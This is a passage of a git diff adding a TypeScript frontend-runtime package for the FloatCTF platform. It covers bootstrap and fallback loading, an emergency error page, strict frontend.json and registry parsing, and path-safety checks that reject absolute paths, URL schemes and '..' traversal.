/api/frontend` 响应;未知/缺失字段一律回落到安全默认值。 */ +export function parseBootstrapInfo(input: unknown): FloatCTFBootstrapInfo { + const fallback: FloatCTFBootstrapInfo = { + active_frontend: DEFAULT_FRONTEND_ID, + platform_version: "", + api_contract_version: API_CONTRACT_VERSION, + frontend_runtime_version: FRONTEND_RUNTIME_VERSION, + capabilities: [], + }; + if (!isRecord(input)) return fallback; + return { + active_frontend: + typeof input.active_frontend === "string" ? input.active_frontend : DEFAULT_FRONTEND_ID, + platform_version: typeof input.platform_version === "string" ? input.platform_version : "", + api_contract_version: + typeof input.api_contract_version === "string" + ? input.api_contract_version + : API_CONTRACT_VERSION, + frontend_runtime_version: + typeof input.frontend_runtime_version === "string" + ? input.frontend_runtime_version + : FRONTEND_RUNTIME_VERSION, + capabilities: Array.isArray(input.capabilities) + ? input.capabilities.filter((c): c is string => typeof c === "string") + : [], + }; +} + +/** 组装一次挂载尝试的结果。 */ +interface AttemptOutcome { + module: FloatCTFFrontendModule; + frontend: ResolvedFrontend; + styles: HTMLElement[]; +} + +/** + * 执行完整 bootstrap 流程。**永不抛错**:任何失败都会走回退链, + * 最终失败时渲染兜底 UI 并返回 `mounted: false`。 + */ +export async function bootstrapFrontend( + options: BootstrapFrontendOptions, +): Promise { + const doc = options.root.ownerDocument; + const fetchImpl = options.fetchImpl ?? globalThis.fetch?.bind(globalThis); + const importModule = options.importModule ?? defaultImportModule; + const loadStyle = options.loadStyle ?? defaultLoadStyle; + const apiBaseUrl = (options.apiBaseUrl ?? DEFAULT_API_BASE_URL).replace(/\/+$/, ""); + const registryUrl = options.registryUrl ?? DEFAULT_REGISTRY_URL; + const frontendBaseUrl = options.frontendBaseUrl ?? DEFAULT_FRONTEND_BASE_URL; + const fallbackFrontendId = options.fallbackFrontendId ?? DEFAULT_FRONTEND_ID; + + const diagnostics: BootstrapDiagnostics = { + attempted: [], + errors: [], + }; + const record = (message: string) => { + diagnostics.errors.push(message); + }; + + // ── 1. 公开 bootstrap 信息(未登录也必须可用:登录 UX 属于前端本身)── + let info: FloatCTFBootstrapInfo | null = null; + if (fetchImpl) { + try { + const response = await fetchImpl(`${apiBaseUrl}/frontend`, { + method: "GET", + headers: { Accept: "application/json" }, + credentials: "same-origin", + }); + if (!response.ok) { + throw new Error(`GET ${apiBaseUrl}/frontend → HTTP ${response.status}`); + } + const body: unknown = await response.json(); + // 后端统一响应包装 {code,message,data};同时容忍直接返回裸对象。 + const payload = isRecord(body) && "data" in body ? body.data : body; + info = parseBootstrapInfo(payload); + } catch (error) { + record(`bootstrap info unavailable: ${describeError(error)}`); + } + } else { + record("bootstrap info unavailable: fetch is not available"); + } + + diagnostics.platformVersion = info?.platform_version || undefined; + diagnostics.apiContractVersion = info?.api_contract_version ?? API_CONTRACT_VERSION; + diagnostics.frontendRuntimeVersion = + info?.frontend_runtime_version ?? FRONTEND_RUNTIME_VERSION; + diagnostics.activeFrontendId = info?.active_frontend ?? null; + + // ── 2. 本地注册表 ── + let registry: FloatCTFRegistry | null = null; + if (fetchImpl) { + try { + const response = await fetchImpl(registryUrl, { + method: "GET", + headers: { Accept: "application/json" }, + // 注册表/引导元数据不得被永久缓存。 + cache: "no-store", + credentials: "same-origin", + }); + if (!response.ok) { + throw new Error(`GET ${registryUrl} → HTTP ${response.status}`); + } + const parsed = parseRegistry(await response.json()); + if (!parsed.ok) { + throw new Error(parsed.errors.join("; ")); + } + registry = parsed.registry; + } catch (error) { + record(`frontend registry unavailable: ${describeError(error)}`); + } + } else { + record("frontend registry unavailable: fetch is not available"); + } + + // ── 3. 决定候选顺序 ── + const candidates: string[] = []; + const requestedOverride = options.overrideFrontendId ?? null; + if (requestedOverride !== null && requestedOverride !== undefined) { + if (!isSafeFrontendId(requestedOverride)) { + record(`ignored unsafe ?frontend value: ${JSON.stringify(requestedOverride)}`); + } else if (registry && !(requestedOverride in registry.frontends)) { + record(`ignored ?frontend=${requestedOverride}: not installed`); + } else { + diagnostics.overrideFrontendId = requestedOverride; + candidates.push(requestedOverride); + } + } + const activeId = info?.active_frontend ?? null; + if (activeId && isSafeFrontendId(activeId) && !candidates.includes(activeId)) { + candidates.push(activeId); + } else if (activeId && !isSafeFrontendId(activeId)) { + record(`active frontend id ${JSON.stringify(activeId)} is not a safe frontend id`); + } + if (!candidates.includes(fallbackFrontendId)) { + candidates.push(fallbackFrontendId); + } + + // ── 4. 逐个尝试 ── + for (const candidateId of candidates) { + const attempt = await attemptMount(candidateId); + diagnostics.attempted.push(candidateId); + if (attempt.ok) { + options.onDiagnostics?.(diagnostics); + return { + mounted: true, + frontendId: attempt.frontend.id, + frontendVersion: attempt.frontend.version, + diagnostics, + }; + } + record(`${candidateId}: ${attempt.error}`); + } + + // ── 5. 连默认前端都失败 → 兜底 UI ── + options.onDiagnostics?.(diagnostics); + if (isRecord(options.emergencyHost) || options.emergencyHost) { + renderBootstrapEmergencyUi(options.emergencyHost as HTMLElement, diagnostics); + } else if (doc.body) { + renderBootstrapEmergencyUi(doc.body, diagnostics); + } + return { mounted: false, diagnostics }; + + async function attemptMount( + frontendId: string, + ): Promise<({ ok: true } & AttemptOutcome) | { ok: false; error: string }> { + if (!registry) { + return { ok: false, error: "frontend registry is unavailable" }; + } + const resolved = resolveFrontend(registry, { + requestedId: frontendId, + frontendBaseUrl, + frontendRuntimeVersion: info?.frontend_runtime_version, + apiContractVersion: info?.api_contract_version, + }); + if (!resolved.ok) { + return { ok: false, error: resolved.errors.join("; ") }; + } + const frontend = resolved.frontend; + + const styles: HTMLElement[] = []; + try { + for (const styleUrl of frontend.styleUrls) { + styles.push(loadStyle(styleUrl, doc)); + } + const imported = await importModule(frontend.entryUrl); + const module = normalizeFrontendModule(imported as FloatCTFFrontendImport); + if (!module) { + throw new Error(`entry did not export mount(): ${frontend.entryUrl}`); + } + // 清空宿主(上一次尝试可能留下半渲染的 DOM)。 + options.root.textContent = ""; + await module.mount({ + root: options.root, + apiBaseUrl, + assetBaseUrl: frontend.assetBaseUrl, + frontendId: frontend.id, + frontendVersion: frontend.version, + platformVersion: info?.platform_version ?? "", + apiContractVersion: info?.api_contract_version ?? API_CONTRACT_VERSION, + frontendRuntimeVersion: + info?.frontend_runtime_version ?? FRONTEND_RUNTIME_VERSION, + capabilities: info?.capabilities ?? [], + }); + // 前端可以返回清理函数;bootstrap 每次页面加载只挂载一次,因此不保留它 + // (整页卸载由浏览器负责)。保留契约是为了将来支持热切换。 + return { ok: true, module, frontend, styles }; + } catch (error) { + for (const style of styles) style.remove(); + return { ok: false, error: describeError(error) }; + } + } +} + +function describeError(error: unknown): string { + if (error instanceof Error) return error.message; + return String(error); +} diff --git a/packages/frontend-runtime/src/emergency.ts b/packages/frontend-runtime/src/emergency.ts new file mode 100644 index 00000000..01ae06ec --- /dev/null +++ b/packages/frontend-runtime/src/emergency.ts @@ -0,0 +1,125 @@ +/** + * 极端兜底 UI:当**连默认前端都加载失败**时,bootstrap 用纯 DOM 渲染这一段。 + * + * 约束: + * - 不依赖 React / Primer / Tailwind / 任何外部资源 + * - 只展示诊断信息(版本、ID、错误文本),**不含任何密钥、token、路径或后端内部信息** + * - 只使用 `textContent`(绝不用 `innerHTML` 拼接错误文本,避免把外部输入当 HTML 执行) + */ + +export interface BootstrapDiagnostics { + /** 平台版本(来自 `/api/frontend`,可能取不到)。 */ + platformVersion?: string; + apiContractVersion?: string; + frontendRuntimeVersion?: string; + /** 平台设置里的 FRONTEND_ACTIVE。 */ + activeFrontendId?: string | null; + /** `?frontend=` 覆盖值(若有效)。 */ + overrideFrontendId?: string | null; + /** 本次实际尝试加载过的前端 ID(按顺序)。 */ + attempted: string[]; + /** 每次尝试的失败原因(与 `attempted` 对位)。 */ + errors: string[]; +} + +/** + * 渲染兜底错误页;返回容器元素。 + * + * @param host 挂载点(通常是 `document.body`) + * @param diagnostics 诊断信息 + * @param onRetry 可选:点击"重试"时的回调(默认 `location.reload()`) + */ +export function renderBootstrapEmergencyUi( + host: HTMLElement, + diagnostics: BootstrapDiagnostics, + onRetry?: () => void, +): HTMLElement { + const doc = host.ownerDocument; + host.textContent = ""; + + const wrap = doc.createElement("div"); + wrap.setAttribute("data-floatctf-bootstrap-error", "true"); + wrap.style.cssText = [ + "max-width: 40rem", + "margin: 4rem auto", + "padding: 1.5rem", + "font-family: ui-sans-serif, system-ui, -apple-system, 'Segoe UI', sans-serif", + "font-size: 15px", + "line-height: 1.6", + "color: #1f2328", + ].join(";"); + + const title = doc.createElement("h1"); + title.style.cssText = "font-size: 1.25rem; margin: 0 0 .75rem;"; + title.textContent = "FloatCTF 界面加载失败"; + wrap.appendChild(title); + + const intro = doc.createElement("p"); + intro.style.cssText = "margin: 0 0 1rem;"; + intro.textContent = + "当前选择的前端与内置默认前端都无法加载。请用 ?frontend=default 重试,或联系管理员检查前端安装。"; + wrap.appendChild(intro); + + const table = doc.createElement("table"); + table.style.cssText = "border-collapse: collapse; margin: 0 0 1rem; font-size: 13px;"; + const addRow = (label: string, value: string) => { + const tr = doc.createElement("tr"); + const th = doc.createElement("th"); + th.style.cssText = "text-align: left; padding: .15rem .75rem .15rem 0; vertical-align: top;"; + th.textContent = label; + const td = doc.createElement("td"); + td.style.cssText = "padding: .15rem 0; font-family: ui-monospace, SFMono-Regular, monospace;"; + td.textContent = value; + tr.append(th, td); + table.appendChild(tr); + }; + + addRow("平台版本", diagnostics.platformVersion ?? "(未知)"); + addRow("API 契约", diagnostics.apiContractVersion ?? "(未知)"); + addRow("前端运行时契约", diagnostics.frontendRuntimeVersion ?? "(未知)"); + addRow("FRONTEND_ACTIVE", diagnostics.activeFrontendId ?? "(未设置)"); + if (diagnostics.overrideFrontendId) { + addRow("?frontend=", diagnostics.overrideFrontendId); + } + addRow("已尝试", diagnostics.attempted.length > 0 ? diagnostics.attempted.join(" → ") : "(无)"); + wrap.appendChild(table); + + if (diagnostics.errors.length > 0) { + const errTitle = doc.createElement("p"); + errTitle.style.cssText = "margin: 0 0 .25rem; font-weight: 600;"; + errTitle.textContent = "失败原因"; + wrap.appendChild(errTitle); + + const list = doc.createElement("ul"); + list.style.cssText = + "margin: 0 0 1rem; padding-left: 1.25rem; font-size: 13px; font-family: ui-monospace, SFMono-Regular, monospace;"; + for (const error of diagnostics.errors) { + const li = doc.createElement("li"); + li.style.cssText = "margin-bottom: .25rem;"; + li.textContent = error; + list.appendChild(li); + } + wrap.appendChild(list); + } + + const retry = doc.createElement("button"); + retry.type = "button"; + retry.style.cssText = [ + "padding: .4rem .9rem", + "border: 1px solid #1f2328", + "border-radius: 6px", + "background: #1f2328", + "color: #fff", + "font-size: 14px", + "cursor: pointer", + ].join(";"); + retry.textContent = "重试"; + retry.addEventListener("click", () => { + if (onRetry) onRetry(); + else host.ownerDocument.defaultView?.location.reload(); + }); + wrap.appendChild(retry); + + host.appendChild(wrap); + return wrap; +} diff --git a/packages/frontend-runtime/src/index.ts b/packages/frontend-runtime/src/index.ts new file mode 100644 index 00000000..9c97d63d --- /dev/null +++ b/packages/frontend-runtime/src/index.ts @@ -0,0 +1,82 @@ +/** + * `@floatctf/frontend-runtime` —— FloatCTF 可插拔前端的**制品 / 运行时契约**。 + * + * 这个包**刻意保持很小**,并且**与框架无关**: + * - 不依赖 React / Vue / Svelte / Primer / 任何路由或状态库 + * - 不规定路由、页面、布局、登录页、管理页 + * - 只规定:制品长什么样(`frontend.json`)、注册表长什么样(`registry.json`)、 + * 以及 `mount(context)` 收到什么、bootstrap 如何加载与回退 + * + * 三份文档: + * - `docs/frontend/ARCHITECTURE.md` —— 平台架构与信任模型 + * - `docs/frontend/DEVELOPING.md` —— 外部仓库开发流程 + * - `docs/frontend/ARTIFACT.md` —— 制品 / manifest / 注册表字段与版本策略 + */ + +export { + FRONTEND_RUNTIME_VERSION, + FRONTEND_RUNTIME_FULL_VERSION, + FRONTEND_MANIFEST_SCHEMA_VERSION, + FRONTEND_REGISTRY_SCHEMA_VERSION, + API_CONTRACT_VERSION, + DEFAULT_FRONTEND_BASE_URL, + DEFAULT_REGISTRY_URL, + DEFAULT_API_BASE_URL, + DEFAULT_FRONTEND_ID, +} from "./version.js"; + +export { + FRONTEND_ID_PATTERN, + FRONTEND_ID_MAX_LENGTH, + type PathCheckResult, + checkRelativeAssetPath, + isMajorCompatible, + isSafeFrontendId, + isValidSemver, + joinUrlPath, + parseMajorConstraint, +} from "./paths.js"; + +export { + type FloatCTFFrontendCompatibility, + type FloatCTFFrontendManifest, + type ManifestParseResult, + parseFrontendManifest, + describeManifestCompatibility, +} from "./manifest.js"; + +export { + type FloatCTFRegistry, + type FloatCTFRegistryFrontend, + type FloatCTFRegistryVersion, + type RegistryParseResult, + type ResolveFrontendOptions, + type ResolveFrontendResult, + type ResolvedFrontend, + emptyRegistry, + listFrontendIds, + parseRegistry, + registerFrontendVersion, + resolveFrontend, +} from "./registry.js"; + +export { + type FloatCTFFrontendImport, + type FloatCTFFrontendModule, + type FloatCTFFrontendUnmount, + type FloatCTFMountContext, + normalizeFrontendModule, +} from "./module.js"; + +export { + type BootstrapDiagnostics, + renderBootstrapEmergencyUi, +} from "./emergency.js"; + +export { + type BootstrapFrontendOptions, + type BootstrapFrontendResult, + type FloatCTFBootstrapInfo, + bootstrapFrontend, + parseBootstrapInfo, +} from "./bootstrap.js"; diff --git a/packages/frontend-runtime/src/manifest.ts b/packages/frontend-runtime/src/manifest.ts new file mode 100644 index 00000000..2160de9e --- /dev/null +++ b/packages/frontend-runtime/src/manifest.ts @@ -0,0 +1,248 @@ +/** + * 前端制品 manifest(`frontend.json`)—— **故意保持很小**。 + * + * 它只声明"这是什么、吃什么版本、从哪加载",**不声明**路由、页面、框架、 + * 布局、登录页或任何 UI 结构。UI 结构完全属于前端实现自己。 + */ + +import { + FRONTEND_MANIFEST_SCHEMA_VERSION, + FRONTEND_RUNTIME_VERSION, + API_CONTRACT_VERSION, +} from "./version.js"; +import { + type PathCheckResult, + checkRelativeAssetPath, + isMajorCompatible, + isSafeFrontendId, + isValidSemver, +} from "./paths.js"; + +/** 兼容性声明:整数 major 约束(v1 语义,见 paths.ts 的 parseMajorConstraint)。 */ +export interface FloatCTFFrontendCompatibility { + /** 期望的前端运行时契约 major(如 `"1"`)。 */ + frontendRuntime: string; + /** 期望的对外 HTTP API 契约 major(如 `"1"`)。 */ + apiContract: string; + /** 可选:构建时使用的 `@floatctf/sdk` 版本(**信息性**,运行时不强制)。 */ + sdk?: string; +} + +/** 一个可安装的 FloatCTF 前端制品。 */ +export interface FloatCTFFrontendManifest { + schemaVersion: number; + id: string; + name: string; + version: string; + description?: string; + author?: string; + compatibility: FloatCTFFrontendCompatibility; + /** 相对本制品根目录的 ESM 入口(必须导出 `mount`)。 */ + entry: string; + /** 相对本制品根目录的样式文件(bootstrap 负责注入 ``)。 */ + styles?: string[]; +} + +export type ManifestParseResult = + | { ok: true; manifest: FloatCTFFrontendManifest; warnings: string[] } + | { ok: false; errors: string[] }; + +function isPlainObject(value: unknown): value is Record { + return typeof value === "object" && value !== null && !Array.isArray(value); +} + +function collectPathErrors( + label: string, + value: unknown, + errors: string[], +): void { + const result: PathCheckResult = checkRelativeAssetPath(value); + if (!result.ok) { + errors.push(`${label}: ${result.reason}`); + } +} + +const MANIFEST_KEYS = new Set([ + "schemaVersion", + "id", + "name", + "version", + "description", + "author", + "compatibility", + "entry", + "styles", +]); + +/** + * 严格解析并校验 `frontend.json`。 + * + * 未知字段直接拒绝(fail-closed):制品格式是安全边界,静默忽略未知字段 + * 会让"看起来装了但实际少了一件事"的故障极难排查。 + * + * @param input 已 `JSON.parse` 的对象;也可传原始字符串。 + * @param options 可覆盖当前平台契约版本(测试注入用)。 + */ +export function parseFrontendManifest( + input: unknown, + options: { + manifestSchemaVersion?: number; + frontendRuntimeVersion?: string; + apiContractVersion?: string; + } = {}, +): ManifestParseResult { + const expectedSchema = + options.manifestSchemaVersion ?? FRONTEND_MANIFEST_SCHEMA_VERSION; + const runtimeVersion = + options.frontendRuntimeVersion ?? FRONTEND_RUNTIME_VERSION; + const apiContract = options.apiContractVersion ?? API_CONTRACT_VERSION; + + let raw: unknown = input; + if (typeof input === "string") { + try { + raw = JSON.parse(input); + } catch (error) { + return { + ok: false, + errors: [`frontend.json is not valid JSON: ${String(error)}`], + }; + } + } + + if (!isPlainObject(raw)) { + return { ok: false, errors: ["frontend.json must be a JSON object"] }; + } + + const errors: string[] = []; + const warnings: string[] = []; + + for (const key of Object.keys(raw)) { + if (!MANIFEST_KEYS.has(key)) { + errors.push(`frontend.json: unknown field \`${key}\``); + } + } + + // ── schemaVersion ── + if (raw.schemaVersion !== expectedSchema) { + errors.push( + `frontend.json: unsupported schemaVersion ${JSON.stringify(raw.schemaVersion)} (expected ${expectedSchema})`, + ); + } + + // ── id ── + if (!isSafeFrontendId(raw.id)) { + errors.push( + "frontend.json: id must match [a-z0-9][a-z0-9._-]* (max 64 chars)", + ); + } + + // ── name / version ── + if (typeof raw.name !== "string" || raw.name.trim().length === 0) { + errors.push("frontend.json: name must be a non-empty string"); + } else if (raw.name.length > 128) { + errors.push("frontend.json: name must be at most 128 characters"); + } + + if (!isValidSemver(raw.version)) { + errors.push("frontend.json: version must be a valid semver string"); + } + + if (raw.description !== undefined) { + if (typeof raw.description !== "string" || raw.description.length > 1024) { + errors.push("frontend.json: description must be a string (max 1024)"); + } + } + if (raw.author !== undefined) { + if (typeof raw.author !== "string" || raw.author.length > 256) { + errors.push("frontend.json: author must be a string (max 256)"); + } + } + + // ── compatibility ── + let compatibility: FloatCTFFrontendCompatibility | null = null; + if (!isPlainObject(raw.compatibility)) { + errors.push("frontend.json: compatibility must be an object"); + } else { + const compat = raw.compatibility; + for (const key of Object.keys(compat)) { + if (!["frontendRuntime", "apiContract", "sdk"].includes(key)) { + errors.push(`frontend.json: compatibility has unknown field \`${key}\``); + } + } + if (!isMajorCompatible(compat.frontendRuntime, runtimeVersion)) { + errors.push( + `frontend.json: compatibility.frontendRuntime ${JSON.stringify(compat.frontendRuntime)} is incompatible with runtime major ${runtimeVersion}`, + ); + } + if (!isMajorCompatible(compat.apiContract, apiContract)) { + errors.push( + `frontend.json: compatibility.apiContract ${JSON.stringify(compat.apiContract)} is incompatible with API contract major ${apiContract}`, + ); + } + if (compat.sdk !== undefined && typeof compat.sdk !== "string") { + errors.push("frontend.json: compatibility.sdk must be a string when present"); + } else if (typeof compat.sdk === "string" && compat.sdk.length > 128) { + errors.push("frontend.json: compatibility.sdk must be at most 128 characters"); + } else if (typeof compat.sdk === "string") { + warnings.push( + `compatibility.sdk=${compat.sdk} is informational only (frontends bundle their own dependencies)`, + ); + } + if ( + typeof compat.frontendRuntime === "string" && + typeof compat.apiContract === "string" + ) { + compatibility = { + frontendRuntime: compat.frontendRuntime, + apiContract: compat.apiContract, + ...(typeof compat.sdk === "string" ? { sdk: compat.sdk } : {}), + }; + } + } + + // ── entry / styles ── + collectPathErrors("frontend.json: entry", raw.entry, errors); + + if (raw.styles !== undefined) { + if (!Array.isArray(raw.styles)) { + errors.push("frontend.json: styles must be an array when present"); + } else { + if (raw.styles.length > 16) { + errors.push("frontend.json: styles must contain at most 16 entries"); + } + raw.styles.forEach((style, index) => { + collectPathErrors(`frontend.json: styles[${index}]`, style, errors); + }); + } + } + + if (errors.length > 0) { + return { ok: false, errors }; + } + + return { + ok: true, + warnings, + manifest: { + schemaVersion: expectedSchema, + id: raw.id as string, + name: raw.name as string, + version: raw.version as string, + ...(typeof raw.description === "string" + ? { description: raw.description } + : {}), + ...(typeof raw.author === "string" ? { author: raw.author } : {}), + compatibility: compatibility as FloatCTFFrontendCompatibility, + entry: raw.entry as string, + ...(Array.isArray(raw.styles) ? { styles: raw.styles as string[] } : {}), + }, + }; +} + +/** manifest 的兼容性摘要(用于诊断/管理端展示,不含任何敏感信息)。 */ +export function describeManifestCompatibility( + manifest: FloatCTFFrontendManifest, +): string { + const { frontendRuntime, apiContract } = manifest.compatibility; + return `runtime ${frontendRuntime} / api ${apiContract}`; +} diff --git a/packages/frontend-runtime/src/module.ts b/packages/frontend-runtime/src/module.ts new file mode 100644 index 00000000..61b8dc4b --- /dev/null +++ b/packages/frontend-runtime/src/module.ts @@ -0,0 +1,96 @@ +/** + * FloatCTF 前端模块契约 —— 一个前端制品默认导出的东西。 + * + * ```ts + * // frontend 制品入口(任意框架) + * import type { FloatCTFFrontendModule } from "@floatctf/frontend-runtime"; + * + * export function mount(context: FloatCTFMountContext) { + * // 创建自己的框架/路由/状态/样式,渲染进 context.root + * return () => { /@ unmount @/ }; // 可选:返回清理函数 + * } + * ``` + */ + +/** `mount()` 收到的平台能力上下文。刻意保持极小。 */ +export interface FloatCTFMountContext { + /** 前端渲染的宿主元素(bootstrap 已确保为空)。 */ + root: HTMLElement; + /** API base URL,例如 `/api`(同源)。前端自行决定如何调用。 */ + apiBaseUrl: string; + /** 本前端制品根目录的同源绝对路径(用于加载自己的图片/字体等)。 */ + assetBaseUrl: string; + /** 当前前端 ID 与版本(诊断/日志用)。 */ + frontendId: string; + frontendVersion: string; + /** 平台版本(`/api/frontend` 返回,纯展示/诊断用)。 */ + platformVersion: string; + /** 对外 HTTP API 契约 major。 */ + apiContractVersion: string; + /** 前端运行时契约 major。 */ + frontendRuntimeVersion: string; + /** 真实且稳定的平台能力标记(列表内元素由平台声明,前端按需探测)。 */ + capabilities: readonly string[]; +} + +/** 前端 mount 的可选返回值:清理函数。 */ +export type FloatCTFFrontendUnmount = () => void; + +/** 前端制品入口模块的默认导出对象。 */ +export interface FloatCTFFrontendModule { + /** 可选:制品内自述的 ID/版本(仅用于诊断日志,平台以注册表为准)。 */ + manifest?: { id?: string; version?: string }; + /** + * 把前端挂载到 `context.root`。允许 async;抛错会触发 bootstrap 回退。 + * + * 返回类型里**刻意保留 `void`**:绝大多数前端只是把界面挂上去、不返回任何东西, + * `export function mount(context) { … }` 这种最自然的写法必须能直接满足契约; + * 若改写成 `FloatCTFFrontendUnmount | undefined`,所有"不返回清理函数"的实现 + * 都会被 TS 判为不可赋值(`() => void` 不能赋给 `() => undefined`)。 + * 这里表达的语义就是"可以没有返回值",biome 的 `noConfusingVoidType` 属误报。 + */ + // biome-ignore lint/suspicious/noConfusingVoidType: void 是刻意的(见上方说明) + mount(context: FloatCTFMountContext): void | FloatCTFFrontendUnmount | Promise; +} + +/** 动态 `import()` 到的模块形状(可能是 `default`,也可能是命名导出 `mount`)。 */ +export type FloatCTFFrontendImport = Partial & { + default?: Partial | FloatCTFFrontendModule; +}; + +/** + * 从动态 import 结果中取出可用的 module。 + * 容忍 `export default { mount }`、`export default function mount` 与 `export function mount`。 + */ +export function normalizeFrontendModule( + imported: unknown, +): FloatCTFFrontendModule | null { + if (typeof imported !== "object" || imported === null) return null; + const record = imported as Record; + + const candidates: unknown[] = []; + if (typeof record.mount === "function") { + candidates.push({ mount: record.mount }); + } + const defaultExport = record.default; + if (typeof defaultExport === "function") { + candidates.push({ mount: defaultExport }); + } else if (typeof defaultExport === "object" && defaultExport !== null) { + const defaultRecord = defaultExport as Record; + if (typeof defaultRecord.mount === "function") { + candidates.push({ + mount: defaultRecord.mount, + ...(typeof defaultRecord.manifest === "object" && defaultRecord.manifest !== null + ? { manifest: defaultRecord.manifest as FloatCTFFrontendModule["manifest"] } + : {}), + }); + } + } + + for (const candidate of candidates) { + if (typeof (candidate as FloatCTFFrontendModule).mount === "function") { + return candidate as FloatCTFFrontendModule; + } + } + return null; +} diff --git a/packages/frontend-runtime/src/paths.ts b/packages/frontend-runtime/src/paths.ts new file mode 100644 index 00000000..2a82b37e --- /dev/null +++ b/packages/frontend-runtime/src/paths.ts @@ -0,0 +1,132 @@ +/** + * 路径安全工具:前端制品里的 `entry` / `styles` 一律是**相对包路径**。 + * + * 拒绝:绝对路径、URL scheme、`..` 段、反斜杠、空段、控制字符、非 ASCII 之外的 + * 可疑字符(协议上只允许 [A-Za-z0-9._/-],且不得以 `/` 开头)。 + * + * 这些检查是安全边界(见 docs/frontend/ARCHITECTURE.md「信任模型 / 安全审查」): + * 一个被篡改的 `frontend.json` 不能把浏览器指向同源之外或注册表之外的路径。 + */ + +/** 前端 ID 允许形式:小写字母/数字开头,随后小写字母/数字/`.`/`_`/`-`。 */ +export const FRONTEND_ID_PATTERN = /^[a-z0-9][a-z0-9._-]*$/; + +/** 前端 ID 长度上限(同时用于文件系统目录名)。 */ +export const FRONTEND_ID_MAX_LENGTH = 64; + +/** 版本号(严格 semver,不含 build metadata 之外的宽松形式)。 */ +const SEMVER_PATTERN = + /^(0|[1-9]\d*)\.(0|[1-9]\d*)\.(0|[1-9]\d*)(?:-((?:0|[1-9]\d*|\d*[a-zA-Z-][0-9a-zA-Z-]*)(?:\.(?:0|[1-9]\d*|\d*[a-zA-Z-][0-9a-zA-Z-]*))*))?(?:\+([0-9a-zA-Z-]+(?:\.[0-9a-zA-Z-]+)*))?$/; + +/** 相对包路径里单个路径段允许的字符。 */ +const SAFE_SEGMENT_PATTERN = /^[A-Za-z0-9._@+-]+$/; + +/** 允许出现在 URL 里的 scheme(用于检测 `https://…` 这类绝对地址)。 */ +const URL_SCHEME_PATTERN = /^[a-zA-Z][a-zA-Z0-9+.-]*:/; + +export function isSafeFrontendId(id: unknown): id is string { + return ( + typeof id === "string" && + id.length > 0 && + id.length <= FRONTEND_ID_MAX_LENGTH && + FRONTEND_ID_PATTERN.test(id) + ); +} + +export function isValidSemver(version: unknown): version is string { + return typeof version === "string" && SEMVER_PATTERN.test(version); +} + +export interface PathCheckResult { + ok: boolean; + reason?: string; +} + +/** + * 校验制品内的相对路径(`entry` / `styles` / 注册表里的资产路径)。 + * + * 明确拒绝: + * - 绝对路径(`/x`、`C:\x`) + * - URL scheme(`https:`、`data:`、`file:`、`javascript:`) + * - `..` 路径穿越与 `.` 段 + * - 反斜杠与空段(`a//b`) + * - 前后空白、控制字符 + */ +export function checkRelativeAssetPath(value: unknown): PathCheckResult { + if (typeof value !== "string") { + return { ok: false, reason: "path must be a string" }; + } + if (value.length === 0) { + return { ok: false, reason: "path must not be empty" }; + } + if (value.length > 512) { + return { ok: false, reason: "path is too long" }; + } + if (value !== value.trim()) { + return { ok: false, reason: "path must not have surrounding whitespace" }; + } + // 这里**必须**匹配控制字符:规则就是"拒绝控制字符",因此显式豁免该 lint 规则。 + // biome-ignore lint/suspicious/noControlCharactersInRegex: 拒绝控制字符是本函数的目的 + if (/[\u0000-\u001f\u007f]/.test(value)) { + return { ok: false, reason: "path must not contain control characters" }; + } + if (value.includes("\\")) { + return { ok: false, reason: "path must not contain backslashes" }; + } + if (URL_SCHEME_PATTERN.test(value)) { + return { ok: false, reason: "path must not contain a URL scheme" }; + } + if (value.startsWith("/") || value.startsWith("~")) { + return { ok: false, reason: "path must be relative" }; + } + const segments = value.split("/"); + for (const segment of segments) { + if (segment === "" ) { + return { ok: false, reason: "path must not contain empty segments" }; + } + if (segment === "." || segment === "..") { + return { ok: false, reason: "path must not contain '.' or '..' segments" }; + } + if (!SAFE_SEGMENT_PATTERN.test(segment)) { + return { ok: false, reason: `path segment contains unsupported characters: ${segment}` }; + } + } + return { ok: true }; +} + +/** + * 在已校验的相对前缀上拼接已校验的相对路径,返回以 `/` 分隔的 URL 路径。 + * + * 只做字符串拼接 + 归一化重复斜杠;调用方必须已经用 + * {@link checkRelativeAssetPath} / {@link isSafeFrontendId} 校验过每一段。 + */ +export function joinUrlPath(...parts: string[]): string { + const joined = parts + .filter((part) => part.length > 0) + .map((part, index) => + index === 0 ? part.replace(/\/+$/, "") : part.replace(/^\/+|\/+$/g, ""), + ) + .join("/"); + return joined.startsWith("/") ? joined : `/${joined}`; +} + +/** + * 校验 `compatibility` 里的 mostly-integer major 约束串。 + * + * v1 刻意只支持 **整数 major**(如 `"1"`),不支持 semver range 语法: + * 语义确定、易测、不会因为 range 解析器差异产生"某台机器上能装"的分歧。 + */ +export function parseMajorConstraint(value: unknown): number | null { + if (typeof value !== "string") return null; + const trimmed = value.trim(); + if (!/^(0|[1-9]\d*)$/.test(trimmed)) return null; + const major = Number.parseInt(trimmed, 10); + return Number.isSafeInteger(major) ? major : null; +} + +/** major 是否与当前契约 major 兼容(v1:必须完全相等)。 */ +export function isMajorCompatible(constraint: unknown, current: string): boolean { + const major = parseMajorConstraint(constraint); + if (major === null) return false; + return major === Number.parseInt(current, 10); +} diff --git a/packages/frontend-runtime/src/registry.ts b/packages/frontend-runtime/src/registry.ts new file mode 100644 index 00000000..5a92174f --- /dev/null +++ b/packages/frontend-runtime/src/registry.ts @@ -0,0 +1,496 @@ +/** + * 本地已安装前端注册表(`registry.json`)。 + * + * 语义边界(理解这一点比记住字段更重要): + * - **注册表描述"装了什么"**:哪些前端 ID、每个 ID 有哪些版本、每个版本的资产入口。 + * - **平台设置 `FRONTEND_ACTIVE` 描述"用哪个"**:只存前端 ID,不存版本。 + * - 每个 ID 有一个**显式** `currentVersion` 指针:安装新版本或回滚都必须显式改它, + * 绝不按文件名/版本号字典序"猜"当前版本(`9.0.0` vs `10.0.0` 这类排序会随机换前端)。 + * + * 注册表由 `scripts/frontend.sh` 原子写入(tmp + rename),浏览器只读。 + */ + +import { + FRONTEND_REGISTRY_SCHEMA_VERSION, + FRONTEND_RUNTIME_VERSION, + API_CONTRACT_VERSION, +} from "./version.js"; +import { + checkRelativeAssetPath, + isMajorCompatible, + isSafeFrontendId, + isValidSemver, + joinUrlPath, +} from "./paths.js"; +import type { FloatCTFFrontendCompatibility } from "./manifest.js"; + +/** 单个已安装版本。 */ +export interface FloatCTFRegistryVersion { + version: string; + name: string; + description?: string; + author?: string; + compatibility: FloatCTFFrontendCompatibility; + entry: string; + styles: string[]; + installedAt: string; +} + 